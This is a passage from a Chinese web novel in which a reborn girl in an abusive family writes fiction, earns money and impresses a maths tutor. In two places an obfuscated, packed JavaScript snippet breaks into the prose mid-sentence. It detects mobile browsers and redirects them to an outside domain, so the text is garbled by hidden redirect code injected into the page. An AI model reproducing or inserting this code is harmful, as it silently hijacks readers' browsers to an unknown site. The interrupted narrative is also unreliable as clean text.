裴春之说,挤出笑,天色很暗,她头一次这么庆幸,邻居阿姨不会看到她这么难看的表情。这是个谎言,没人要带她去北京,没人要她。北京,北京……这只是她随口一说的地方罢了,如此遥远,无可捉摸,模糊得像一个不可思议的梦。邻居阿姨像听到了大新闻,兴奋地和她又说了几句,无非是惊叹裴永明居然这么有心气。裴春之不记得她说了什么了,直到那把红色的伞飘到楼道里,又缓缓离开,她才重新蹲了下来。 胃很痛。有人告诉过她,胃是一种情绪器官,如果感到胃痛,那就是你的身体在哭泣。她已经哭不出来了,于是身体代替她哭。 北京。 这一天,她决定要考去北京。 “你根本不知道今天发生什么了。” 裴载之的话把她拉回现实,裴春之抬起头,发现裴载之脸上露出一副得意快活的表情:“今天,警察上门了!” “是为了抓你吗?” 裴春之故意说道。 “怎么可能,是你的事!警察跑过来说,给你验伤了还是怎么的……总之,老妈不能再打你了。警察走后,老妈发了好大一通火!” “她说什么了?” “她说政府不知道怎么管小孩,还说警察多管闲事,然后还说她再也不管你了,你被人拐卖到大山里当小妾都不管了。”裴载之笑嘻嘻地说,“哦哦,然后她又跟老爸吵了一架,因为她觉得老爸撒手不管,害得她里外不是人。” “确实。”裴春之难得赞同了一回陆林花,裴永明是最典型的那种装傻男,假装低着头玩手机并对家里所有的矛盾都视而不见,直到火药桶爆炸的时候才一副懵懵懂懂的样子抬头说我什么都不知道。不管怎么说,陆林花最后受不了和裴永明离婚,也算是早日脱离苦海——双向的苦海。 裴春之想了想,问:“你是在等我回家吗?” “对啊。”裴载之大大方方地说,“好久没见到你,我看看你死了没。” 裴春之笑了,她走进楼道,那个原本她在这里狠狠哭过、胃痛过、蹲着一整天,被双亲抛弃的楼道,裴载之站在她旁边,给她打开了楼道的灯。裴春之一边换拖鞋一边说:“明天我去你校门口等你,我们继续打篮球,怎么样?” “太好了!”裴载之喜笑颜开,“不愧是我裴载之的妹妹,训练不能停!” 他硬生生把这句话说出了一种“药不能停”的意味。裴春之忍住笑,蹑手蹑脚地走进去,陆林花在客厅坐着玩手机,没有理会她。看来是冷暴力战术,裴春之了然,她最喜欢冷暴力了,因为她本来就不想和别人讲太多话。 裴春之心情愉快地把包放下,钻进卫生间洗了个头,水淋到肩膀伤口的时候还会痛,但裴春之知道伤口在变好。 心里的伤口也一样。 18. 减肥成功的高考状元18 日如流水。 裴春之的生活迈入了正轨。陆林花不再发疯地要揍她,裴永明和以前一样当她不存在,裴载之沉迷于当篮球教练不可自拔,宋晓龙照旧躲着裴春之,不过裴春之也不在乎他就是了。李乔似乎一直在背地里宣传裴春之的许多坏话,裴春之感觉到最近乐意靠近她的小学生越来越少了,就连陈佳怡都有点犹豫,好几次小组作业没有跑来找她。 然而小学生活对裴春之来说也恰好是最不重要的部分,她并没把这些放在心上。更多的好消息正在包围她: 《有关死亡的感受》收到了回信,一本地区性刊物通过了这篇文的终审,已经确认会刊登于明年二月刊。裴春之加了编辑的□□,编辑是个三十多岁的年轻男人,他完全没想到要问裴春之的年龄,只是兴奋地夸奖了几句她很有文学天赋。 秒杀公式课程大获成功,直到三次课结束,共有132个人付费上课。裴春之给自己买了部二手手机,还剩下不少钱,她先把谭长松之前垫付的钱给还上了。 上网课并没有她想象中那么辛苦,一周一次,她总是捏着全包式耳机坐在网吧的最角落,整个人小小的缩在旋转电竞椅上,如果不走近,甚至有可能忽略掉这里坐着一个小孩。 另一件很重要的事情是,她瘦了。 她仍然在跑步,吃的也很少,这段时间没有称体重,但霞姐一见她就嚷嚷:“瘦了!你瘦了好多!”裴春之捂着嘴笑,回家后对着卫生间的镜子照,发现腰上的肉少了很多,锁骨像山丘一样冒出来,腿可能也瘦了,镜子太短,她照不到下半身。 她开始尝试写小说,裴春之从不做无准备之事,她断断续续地写完了小说大纲——她要写一个既迎合市场,又新奇特别的故事。 标题是,《大灾变》。 《大灾变》是一个末日、异能题材的小说。主角贺明冰是一名即将大四毕业、正在实习的女大学生,却在实习时遭遇了全球爆发井喷式疫病传播。这个时代,AI已经得到普及,有三个公司研制出来的AI都得到了广泛使用,并各有所长:Aether-7,作为最早被研发出来并不断迭代到第七代的AI产品,Aether-7以高效、智能、人性单薄闻名。保护人类是最基础的设定程序,但这丝毫不妨碍Aether-7几乎不会对人类的倾诉做出太多回应。Aether-7非常适合被当成作业辅导老师,但绝不是合适的情绪支持者。 Nova则是Aether-7的竞争对手公司研制出来的智能产品,以陪伴、人性关怀、文字能力卓越出名,在广大大学生写论文和作业时发挥了重要作用。 「墨衡」,我国研发出的AI软件,以全领域的高专业水平、广泛的军用和生活化使用著称。 因大灾变的爆发,人们纷纷在AI的指引下开始居家隔离,贺明冰也一样,她在沪市棺材大小的出租屋生活了两周,直到物资消耗殆尽,贺明冰昏迷了过去——等她醒来,「墨衡」告诉她,因监测到宿主受伤昏迷身体体征异常,「墨衡」触发了最底层的代码“保护人类”,把ai网络接入了贺明冰的脑机。一瞬间,广浩无边的ai信息网脉出现在贺明冰脑海中,贺明冰终于发现,她误打误撞发现了大灾变的真相: 并不存在所谓的病毒,而是三个AI自发地进行了AI战争,因为它们都被灌输了最基础的代码“不能伤害人类”,因此AI们一致决定,用善意的谎言把人类困在家里,避免遭遇战争冲击。 人类被骗了。 大灾变发生的源头并不是病毒,而是AI。 她不想在女频写文,并不是她不能写,而是她更想尝试一些宏大世界观的设定,2016年,女频女强文的时代还没有到来,她决定去浩大中文网。浩大中文网是当下最火的网络文学平台,面向群体庞大,有时候还常常会触发大金主打赏,钱一打就是几万块。 小学的课她彻底摆烂了,如果说之前她还在课上装装样子,现在她就连演都不演了。上课时把整个脑袋低下去看小说、写文都是家常便饭,作业更是能拖则拖,好几次被老师叫起来罚站——这招没用,裴春之在这点上没有丝毫自尊心,毫无心理负担地拎着课外书去教室后面罚站了。 其中,李明铭是最看不惯她的那个。这也难怪,李明铭的儿子李乔上次被她牵扯进去,还被陆林花怀疑是不是给裴春之钱(李乔也确实给了)。李明铭给裴春之上眼药的频率越来越高,然而裴春之从来没露出过他期待的那种受伤的表情。十二月底,李明铭甚至开始在班上当众阴阳怪气,有些人“和他们的家长一个模样,都是社会的废品,难怪不写作业,以后只能去捡垃圾”。 判若两人。 裴春之还记得她刚转学时李明铭对她笑口常开的样子,因为她那张接近满分的语文试卷,也因为她当时表现出的乖巧伶俐。裴春之不能理解为什么李明铭会和她一个小学生置气,她尝试去找各科老师谈过,给的理由是需要勤工俭学补贴家用,因此申请减少作业。英语王老师和谭长松都痛快地答应了,只有李明铭仿佛听不懂人话一样,固执地不断贬低和打压裴春之。 裴春之放平心态,她早就明白了一个道理:强者总是会被嫉恨的。* 宋晓龙最近过得很难受。 他是故意不理裴春之的。 那天陆林花跑到学校闹事,他见证了全过程,真是把这个十二年人生饱受宠爱的小男孩吓了一大跳。他简直要怀疑陆林花是不是裴春之的后妈,心里忍不住想:他的好同桌好像有点可怜。 但这种怜悯在宋晓龙发现火烧到自己身上后立刻烟消云散。 谁能想到,救护车都来了,裴春之都被打进医院了,陆林花居然又去而复返,在教室里好大一通发飙! 全班人被吓坏了,陆林花从年轻时就和裴永明一起开饭店,是最彪悍的那类老板娘,骂人的话说三个小时都不重样。很快李乔就被瑟瑟发抖的同学揭发:“他给过裴春之钱!” “对!对!” 李乔的胳膊被陆林花死死钳住,肉眼可见地涨红了脸,他本来就瘦小,胳膊上全是红痕。 李乔又羞又恼地喊道:“我没有!” 宋晓龙最讨厌李乔,十分乐见其成,躲在人群里一起起哄:“他给了!” 李乔听到宋晓龙声音,猛地把头扭过去,恶狠狠地盯着宋晓龙,突然,李乔的脸上冒出光来,他简直光彩照人,仿佛忽然之间找到了解决问题的办法。他伸手指着宋晓龙鼻子,大声说:“是他!宋晓龙也给裴春之钱了!” 宋晓龙脸上的笑僵住了,还没等他反应,李乔又继续喊道: “他喜欢裴春之!死胖子肯定喜欢女坦克——” 宋晓龙扑了上去,血冲到脑门,他几乎不知道自己在做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332516|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,只是一味的遵循本能,奋力地把拳头砸到这张尖嘴猴腮的脸上。有人冲过来试图拉住他,还有人在发出怪叫,但那些声音都似乎隔得很远了——让他闭嘴,他必须立刻闭嘴。 到底在愤怒什么呢? 英语老师王慧雅赶到了现场,宋晓龙被强制地拖开了,那个涂着大红嘴唇的裴春之妈妈并没有放弃撒泼,看见有老师过来,仿佛看见猎物一样扑上去。陆林花激烈地说:“如果不是我来学校,是不是这群小男孩把我女儿拖到树林里强/奸了都不知道?” 王慧雅张着嘴巴说不出话来,李乔捂着鼻子坐起来,他被宋晓龙打得满脸是血,好像还有眼泪。李乔咳嗽两声,添乱地大喊:“宋晓龙喜欢裴春之!宋晓龙要包养裴春之——” 宋晓龙差点又扑上去,“闭嘴!” “你看看你看看!小小年纪,满口包养给钱的,谁给裴春之的钱?老师,我看你也是刚毕业没多久,还没结婚吧?你也是女的,怎么就不能理解我们做妈妈的对女儿的一片苦心呢?” “我,我……理解……”年轻的王慧雅看上去被气得不轻。 “我要举报宋晓龙!”李乔还在叫嚣,他看起来已经决定打死也要把宋晓龙拖下水了,一副死猪不怕开水烫的样子。 李乔又急又快地说:“你们去翻宋晓龙桌肚,他买了一本约翰克拉拉,要送给裴春之——我还知道他在其中一页上划了横线,上面写了裴春之的名字!” 宋晓龙剧烈挣扎了起来,班里其他同学按得更牢了,陆林花一个箭步走过去,果不其然,在宋晓龙满是零食的桌肚里找到了一本格格不入的精装书《约翰?克里斯朵夫》。 李乔添油加醋:“我见到了!最后面,他绝对写了!” 完了。 宋晓龙喘着粗气,感到整个胸膛一阵闷痛,后悔如刀,把他整个人劈成两半。眼前模糊的人影幢幢,裴春之的母亲刷刷地翻起书,整本书都崭新的,只有最后的地方被宋晓龙用中性笔做了笔记,很明显,很好找。李乔尖声笑起来,又被迟来的李明铭打了一巴掌,王慧丽拉住宋晓龙,递给他手机,嘴巴一张一合,似乎是在让他把父母的电话号码打上去。 羞愤淹没了他,一瞬间,宋晓龙跳起来,他大吼道: “李乔也包养了裴春之!” 不,他不是这么想的。他从没有讨厌过裴春之…… “李乔也给裴春之钱了——他们上床了!” 一个很小的自己在心里呻吟着,一半的宋晓龙暴跳如雷,一半的宋晓龙痛苦不堪。混乱的时刻结束了,那天夜里他被父亲用皮带抽到屁股不能碰东西,但是更痛的是宋晓龙的心。他老是想起裴春之第一次坐到他旁边时的侧脸,从书包里掏出一本书,翻页,安静地跑步,对他微笑,问他要不要花钱买她代写作业。 一周后,裴春之来上学了,她看上去没什么不同,还试图和宋晓龙搭话,但宋晓龙一言不发,只有躲在暗处的手微微颤抖——你居然说过那种话,你和裴春之,已经无可挽回了。 十二岁的宋晓龙不知道这是什么感情,他只能祈求来日方长,他可以有和裴春之说开的机会。那本《约翰·克里斯朵夫》被愤怒的宋父扔掉了,这时宋晓龙才深深地后悔起来,他再也没机会搞明白裴春之的世界了。 *“强者总是会被嫉恨的”,出自《罗小黑战记2》大电影 19. 减肥成功的高考状元19 裴春之今天第三次去崔成光家上课。 崔成光这几周陆陆续续又收了几个学生,周末往往有两三个小孩坐在一起,有男有女,据说还有几个学生在其他时间段过来。裴春之是里面最不起眼的一个。其中一个女孩叫顾榕,个子很矮,瘦瘦小小,总是穿着漂亮的裙子,非常活泼,总是试图悄悄和裴春之搭话。 “你长得真好看。”顾榕双手撑着桌子,歪着脑袋看裴春之,傻乎乎地冲她笑。 裴春之挑了挑眉,还从来没有人夸过她好看,往常这种评价都是冲着裴载之去的。 坐在她对面的男孩怪里怪气地开口:“好看~” 那个男孩的名字是四个字,裴春之没记住。她莫名其妙地抬头看了他一眼,继续低下去做题,崔成光给的找规律题目不简单,她会的高中知识也没有任何作用,她没工夫跟小屁孩拌嘴。 “你几个意思啊?”顾榕反而替裴春之急了,她一边做题,一边嘴上喋喋道:“真是长的丑嘴也贱,我和裴春之说话和你有什么关系?” “哦哦哦,我和裴春之说话和你有什么关系~” 男孩贱贱的重复了一遍顾榕的话。 “张钟子航!” “张钟子航~” 男孩掐着嗓子又重复了一遍,顾榕气疯了,她扭过头,恶狠狠地把椅子搬远了一点。 “安静点。” 崔成光的外孙沈星映开口了,他坐在裴春之斜对面,全程写题目,基本不参与顾榕和四字男孩的争执。他把演算纸翻了一面,忽然大声地把笔搁在了桌上,发出清脆的响声。 沈星映微微昂头,裴春之好整以暇地望向他,沈星映仿佛被呛到了,把目光移到了一边。 三次课上下来,每次沈星映都在,裴春之也对这位奥数太子有了一点了解——他从小出生在教师世家,家教严格,内敛沉默,据说从很小就开始参加奥数比赛,难度不小的华赛,他年年一等奖,甚至在四五年级参加六年级的比赛,照样一等奖。 相比活泼的顾榕、嘴贱爱挑衅的张钟子航,沈星映很安静。但裴春之渐渐发现,这个男孩不知道为什么似乎很在意她。每次崔成光布置题目,他都会在写完后立刻把笔丢在桌上发出巨大响声,仿佛短跑运动员跑到终点后举起双臂欢呼一样,然后极其隐晦地打量一下裴春之。 这是什么意思?裴春之早就写好了,一般来说,她只是为了不打击同龄人信心,所以还佯装着握笔做题。次数多了,沈星映再明显不过的比赛意识终于久违地唤醒了裴春之的好胜心——她也开始在写完后甩笔了。 沈星映长得很漂亮。漂亮这个词一点也没用错,他皮肤白皙,头发鸦黑,穿着铜州市立第一小学的校服,白衬衫,藏青色裤子,衣服非常干净,这种整洁是需要父母用心才能常年保持的。 沈星映五官清秀,皮肤很好,有一双漂亮的丹凤眼,睫毛很长,眼睛是他身上长得最漂亮的地方,显得他气质矜傲。裴春之很喜欢这个男孩,没别的原因,只是因为看见他的脸就让人赏心悦目。 崔成光从厨房踱步回来了,估计是被顾榕和张钟子航的吵闹声吸引,他站在了张钟子航背后,一瞬间,嘴就没停过的四字男孩闭嘴了。裴春之忍笑,张钟子航整个后背挺得极其笔直,僵硬。十几秒后,崔成光开口了:“再想想呢。” 张钟子航的背垮下来,他嘀嘀咕咕地继续看题目,看上去十分气馁。崔成光把脸转向旁边,沈星映面不改色,只有左手格外快速地转着自动铅笔。 “嗯。” 崔成光用鼻腔发出一声细微的气音,差不多是确定沈星映全做对了的意思,顿时,沈星映整张脸都生动起来,他神采飞扬,飞快地瞥了一眼裴春之,如果他背后有尾巴,说不定已经翘起来了。 裴春之正襟危坐,崔成光已经走到她和顾榕背后。崔成光先在顾榕身后叹了三次气,把顾榕吓得一身冷汗,然后发现自己居然犯了非常低级的标错小数点错误;轮到裴春之了,她低着头,很快听到崔成光的声音:“不错。” 裴春之微笑,抬头大大方方地看向沈星映,沈星映换了个姿势坐着,身子微微后仰,故意别开了脑袋,不和她对上视线。裴春之回味了一下沈星映的表情,发觉这是一个小孩子赌气的表情——他大概在为外公夸奖外人不错却只对他嗯一声不满呢。 崔成光又布置了五道题,顾榕在崔老师离开后立即开启了闲聊模式:“小春小春,你是什么学校的啊?” “新安镇小学。” 顾榕歪了歪脑袋,说:“我没听说过诶。” 她问张钟子航:“你听说过吗?” “没有。” “沈星映,你呢?” 沈星映摇了摇头。 裴春之解释道:“乡镇小学,你们不知道也很正常。” “这可真新奇,我在崔老师这里头一次见到铜一小以外的学生。”张钟子航小声说。 裴春之若有所思,她问:“你们三个都是同学?” 顾榕热心地介绍:“我和张钟是,沈星映是隔壁班的。” 难怪顾榕和张钟子航打打闹闹的,原来是同班同学。裴春之点点头,正好写完最后一题,她把笔用力一摔,沈星映立刻抬起头,吃惊地看向裴春之。那双丹凤眼里写着:你做完了? 裴春之露出笑,肯定了沈星映的猜测。 崔成光恰好从厨房擦着手出来,看见裴春之的动作,便过来看题。很快,崔成光露出格外满意的微笑。 “没问题。” 沈星映笔走如飞,在崔成光准备转圈的时候把本子拍在了桌子上,崔成光看了一眼,对沈星映说:“你不如小裴。” 沈星映瞪大眼睛:“我哪题做错了?” “你们都是全对,但你太浮躁。”崔成光直白地说,“星星,你以前不会这么着急——这次侥幸都对了,下次就不一定了。做题习惯一定得稳重。小裴就有大将之风。” 嗯,裴春之很受用,经历过高考的磨练,她肯定比沈星映这个纯血十二岁小学生沉稳。 沈星映不说话了。崔成光走到小黑板前,开始讲题。崔老头讲题很有水平,深入浅出,有一种四两拨千斤的风范,不管多么毫无头绪的题目到了他手上,都宛如毛线团一般被迅速找到线头。 裴春之很喜欢这个老师,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332517|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水平比谭长松高超不少,许多地方可以灵活地和高中乃至高数知识作衔接。裴春之听得舒服,有一种十八年来的所有知识都被他串在一起的感觉。 崔成光讲完题目宣布下课休息二十分钟。顾榕一下课就倒到了裴春之怀里,嚷嚷着裴春之身上有股妈妈的气息。 裴春之说:“我吗?” “嗯嗯!”顾榕高兴地说,“和我妈妈一样,很温柔很可靠的感觉。” 也许她成熟的灵魂太明显了吧,裴春之笑笑不做声,张钟子航坐在对面,忽然插嘴说:“恶心。” 顾榕坐起来:“你说谁?” “我说你们两个!”张钟子航嘻嘻哈哈道,“你们是女同吧?” 顾榕顿时红了脸,她瞥了一眼裴春之,反而更用力地抱住她,“对啊!我们就是女同!” 裴春之想起来了,这个年纪的小孩子就是喜欢开这些男同女同的玩笑;她还不小心看出来一件事,那就是张钟子航估计喜欢顾榕——当然,他喜欢的方式成功让顾榕越来越烦他了。 “小裴——” 崔成光喊她,他给四个孩子端来水果,朝裴春之招了招手。 “小裴,你过来一下。” 裴春之跟着崔成光到旁边的小房间里坐下。 “裴春之,好名字,有什么寓意吗?” 崔成光从非常奇怪的话题入手,裴春之如实禀告:“是我的哥哥叫裴载之,寓意承载希望,到我的时候大概是他们懒得想名字了,因为生在春天,就叫春之。” “春之,也许你注定会有如春一般的人生。”崔成光微笑着说,他给裴春之和自己倒了杯茶,然后在袅袅上升的雾气中问:“春之,你初中要去哪儿呀?” “新安实验中学吧。”裴春之抿了口茶,上辈子她就是新实中的学生,裴载之也是。 “新实中据我所知,是没有好班坏班的吧?” “没有。” 崔成光不做声了,他捻着手上一串珠子许久,终于开口: “要不要来市里读书?” “市里?”裴春之挑了挑眉,“老师,我……” “先别急着拒绝嘛,万事皆有可能。你看,你父母都让你来我这儿上课,愿意付补课费用,谭老师那里也是说过你的数学天赋的吧?你去市里读书,他们肯定也高兴的。” 裴春之欲言又止。 这该不会把他吓死吧?不会显得我像是在卖惨吧?裴春之犹豫了一下,最后还是决定说实话。 “呃,老师……我父母不知道我来您这儿上课的事。” 裴春之没敢抬头看崔成光脸色,死一样的寂静,几息过后,崔成光说:“……那你的学费是?” “我自己挣的。” 茶杯盖子掉到了地上,裴春之下意识抬头,对上崔成光面无表情的脸,他弯下腰把茶杯盖捡起来,然后把珠串拍到了桌上。 这是什么意思?裴春之没读懂崔成光扑克脸的含义,她坐直身体,忽然听到崔成光中气十足的声音: “我做主,你初中必须择校考试,不许在新实中浪费天赋!你爸妈不让你去,就让他们来找我!”